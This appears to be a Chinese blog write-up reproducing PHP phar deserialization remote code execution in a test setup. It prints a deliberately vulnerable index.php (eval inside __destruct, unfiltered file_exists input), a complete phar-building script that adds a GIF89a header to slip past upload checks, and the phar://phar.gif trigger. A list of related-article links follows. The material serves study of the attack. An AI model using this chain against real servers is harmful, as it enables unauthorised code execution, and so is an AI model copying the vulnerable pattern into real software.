利用phar实行php反序列化命令执行(测试环境复现)
测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器。通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行。
index.php代码如下
<?php class foo { var $ha = 'echo "ok";'; function __destruct() { eval($this->ha); } } $ka = $_GET['file']; file_exists($ka);
可以看出 foo是一个危险的类,当危险对象被反序列化时会导致命令执行。但是在index.php中,只有一个file_exists()的文件操作函数。
构造phar文件的代码:
<?php //把要进行反序列化的对象放在此处 class foo { var $ha = 'echo "ok";'; function __destruct() { eval($this->ha); } } //生成对应可被利用的对象 $o = new foo(); $o->ha='echo "error";'; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测 $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
运行此文件,生成可利用的 phar.phar 文件,并修改后缀为gif (ps:可以修改为任意后缀,但是因为这里做了一个GIF89a头的伪装,所以我就修改为gif了,头部特征也可以任意修改,但是<?php __HALT_COMPILER(); ?> 这段不能动,它是php标志识别phar文件的标志),为了方便,我直接把文件移动至了index.php的目录下
访问index.php,把file参数设置为phar://phar.gif 命令执行成功
一些其他可以触发成功的函数:
参考文章:https://paper.seebug.org/680/
利用phar实行php反序列化命令执行(测试环境复现)的更多相关文章
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...
- 企业安全06-Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
CVE-2017-5645 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 一.漏洞原理 Apache Log4j是一个用于Java的日志记录库,其支持启动 ...
- DHCP命令执行CVE-2018-1111漏洞复现
DHCP命令执行_CVE-2018-1111漏洞复现 一.漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了 ...
- Apereo CAS 4.1 反序列化命令执行漏洞
命令执行 java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success&q ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...
- Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)
下载ysoserial,git git clone https://github.com/frohoff/ysoserial.git cd ysoserialmvn clean package -Ds ...
随机推荐
- 如何在首次启动 Linux 虚拟机时对其进行自定义
在前面的教程中,你已学习如何通过 SSH 连接到虚拟机 (VM) 并手动安装 NGINX. 若要以快速一致的方式创建 VM,通常需要某种形式的自动化. 在首次启动 VM 时实现自定义的常见方法是使用 ...
- SQL SERVER常用语法汇总
阅读目录 一.SQL分类 二.基础语句 三.sql技巧 四.(MS SQL Server)SQL语句导入导出大全 回到目录 一.SQL分类 DDL—数据定义语言(CREATE,ALTER,DROP,D ...
- CSS学习摘要-层叠和继承
当有多个选择器作用在一个元素上时,哪个规则最终会应用到元素上? 其实这是通过层叠机制来控制的,这也和样式继承(元素从其父元素那里获得属性值)有关. 元素的最终样式可以在多个地方定义,它们以复杂的形式相 ...
- vs2012配置
ogre1.9 http://m.blog.csdn.net/blog/u013025310/20869871 http://www.cnblogs.com/zhouxin/p/4258849.htm ...
- Java基础 之软引用、弱引用、虚引用 ·[转载]
Java基础 之软引用.弱引用.虚引用 ·[转载] 2011-11-24 14:43:41 Java基础 之软引用.弱引用.虚引用 浏览(509)|评论(1) 交流分类:Java|笔记分类: Ja ...
- TCP socket和web socket的区别
小编先习惯性的看了下某中文百科网站对Web Socket的介绍,觉得很囧.如果大家按照这个答案去参加BAT等互联网公司的前端开发面试,估计会被鄙视. 还是让我们阅读一些英文材料吧. 让我们直接看sta ...
- python多进程(一)
操作系统进程 Unix/Linux操作系统提供了一个fork()系统调用,它非常特殊.普通的函数调用,调用一次,返回一次,但是fork()调用一次,返回两次,因为操作系统自动把当前进程(称为父进程)复 ...
- 【CF809E】Surprise me!
题目 这是一道神仙题 看到这样一个鬼畜的柿子 \[\sum_{i=1}^n\sum_{j=1}^n\varphi(a_i\times a_j)\times dis(i,j)\] 又是树上距离又是\(\ ...
- Python全栈开发:list 、tuple以及dict的总结
总结: 列表:增:append(),inset(),extend() 删:pop(),remove(),clear(),del 改:a.通过指定元素和切片重新赋值.b.可以使用repelace替换列表 ...
- Hive学习之路 (十二)Hive SQL练习之影评案例
案例说明 现有如此三份数据:1.users.dat 数据格式为: 2::M::56::16::70072, 共有6040条数据对应字段为:UserID BigInt, Gender String, A ...